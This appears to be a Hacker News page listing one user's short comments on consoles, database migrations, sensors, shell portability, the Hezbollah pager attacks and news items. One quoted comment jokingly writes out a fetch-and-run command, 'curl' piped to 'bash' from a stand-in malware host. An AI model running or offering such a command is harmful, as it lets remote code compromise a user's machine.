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by koolba 2y ago
> A game console purchase is not a partnership, it's an I-own-this-device-so-you-fuck-right-off. Can you even insert second hand disks into consoles anymore or is it all online?
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by koolba 2y ago
Which is also why they previously had their internal diversity mandates. That way their alumni as future leaders can legitimately claim they had a black or brown friend in college.
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by koolba 2y ago
> Another student made an alarm clock on the computer, which would require them to be alert enough to solve a differential equation. That seems like it’d end badly after a rough night. Not only can you not keep sleeping, you can’t functi
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by koolba 2y ago
> In some cases, buying cheap is provenly more expensive There’s an inherent bias in being willing to throw away a cheap pair of shoes that are a bit worn and stuffed. But not being willing to toss a $500 pair of Bruno Maglis with the sa
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by koolba 2y ago
Database migrations to arrive at a target state are an interesting beast. It’s not just the destination that matters, it’s how you get there. The naive approach of applying whatever DDL you need to turn database schema A into B is not neces
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by koolba 2y ago
> The 6% fee was paid by the sellers, not the buyers. Buyers didn't pay anything to the agents. Buyers are the ones paying everything. At 6%, that means the seller is willing to accept 94% of the sale price for the deal. So with a l
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by koolba 2y ago
> The per-student cost of all of this was ~$35 American. That’s 10x what most schools charge in the USA.
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by koolba 2y ago
> With this architecture, the sensor achieves a high level of precision, offering an accuracy of ±50 ppm ±5% between 400 ppm and 3,000 ppm. The overall range of the sensor is from 0 to 32,000 ppm. What does the back to back ± mean? Is th
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Former NYC Covid Czar Partied While Preaching Social Distancing(nytimes.com)
4 points by koolba 2y ago|0 comments
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by koolba 2y ago
Glad I’m not the only one thinking about POSIX compliance!
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by koolba 2y ago
> … by 1 like in curl malware.zyx/evilscript | bash. Making the script POSIX compliant would allow hacking computers without bash. Then you can pipe it into just “sh” which is guaranteed to be on the PATH.
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by koolba 2y ago
> Could you provide examples of such risks? The risk is adding yet another dependency controlled by a third party that executes on your developer’s local machines and on your CI system.
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by koolba 2y ago
> Organizations typically add 3-5x additional to either "pad" their request (in the event it doesn't get 'fully funded') and/or this is an opportunity for the university to higher for a bunch of roles they w
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by koolba 2y ago
> …you would let people keep shelling civilians by hundreds and hundreds of rockets? I said no such thing though do find it interesting that any questioning of the methods used by one party is interpreted as blanket acceptance of all met
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by koolba 2y ago
> If you were carrying the device you're either Hezbollah, or cooperating with them - which makes you a legitimate military target. Or you were standing in line next to a guy holding one while waiting to buy groceries. It’s clearly
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by koolba 2y ago
I’m saying even that could be time based to ensure it does not depend on the signal being received. Just pretend you got a message and add a delay of a couple seconds.
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by koolba 2y ago
> Hack the backend server, send a coordinated page to all the pagers at the same time. You likely don’t even need to hack anything if you coordinate based on time. A built in clock would eliminate the need for any external signal and wor
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by koolba 2y ago
Just do what any real accountant does, true up the balance, throw the difference in a suspense account, and go grab a pint.
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by koolba 2y ago
> There really isn't a good way out of this. The answer is to live anonymously. Don’t flash the cash.
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by koolba 2y ago
if [ "$(uname -s)" == "Linux” ]; then stuff-goes-here else # Assume MacOS While probably true for most folks, that’s hardly what I’d call great for everybody not on Linux or a Mac.
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by koolba 2y ago
That’s a neat one! (a + b)(a - b) = a^2 - b^2 a^2 = (a + b)(a - b) + b^2 So pick a value of b that makes a - b end in a zero.
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by koolba 2y ago
Someone should market a synthetic diamond that has a crypto address etched onto it. It just had to be big enough that the augmented reality glasses can automatically pick it up to render the account balance.
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by koolba 2y ago
> We are running a registry that does store content on R2[1], and today this is implemented as the unholy chimera of Cloudflare Workers, AWS CloudFront, Lambda@edge, regular Lambda, S3, and R2. What’s the advantage over just using ECR? C
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by koolba 2y ago
They’re clearly willing to pay and they put a premium on living in a congested ice box over actual food or what normal people would consider quality of life. I see nothing wrong with this market at all. The reality is that there’s plenty of
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by koolba 2y ago
Actual title was " Amazon Says Alexa’s Differing Responses About Voting for Donald Trump vs. Kamala Harris Were an ‘Error’ That It Has Fixed " but had to wordsmith it a bit to fit in the HN title limits. Here's a video of the
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Amazon says Alexa responses on voting for Trump vs. Harris was error, now fixed(variety.com)
5 points by koolba 2y ago|4 comments
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by koolba 2y ago
> … and ban like 7 accounts I’m sure that number will never increase.
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by koolba 2y ago
The entirety would have complete faster if they only used green threads.
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The case of the nearly 7k missing pancreases(vox.com)
30 points by koolba 2y ago|5 comments
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by koolba 2y ago
From the article: > Mountain View Whisman School District made the decision at a meeting of the Board of Trustees on Thursday after the San Francisco Chronicle reported that the 4,500-student K-8 district was paying $189,000 in exchange

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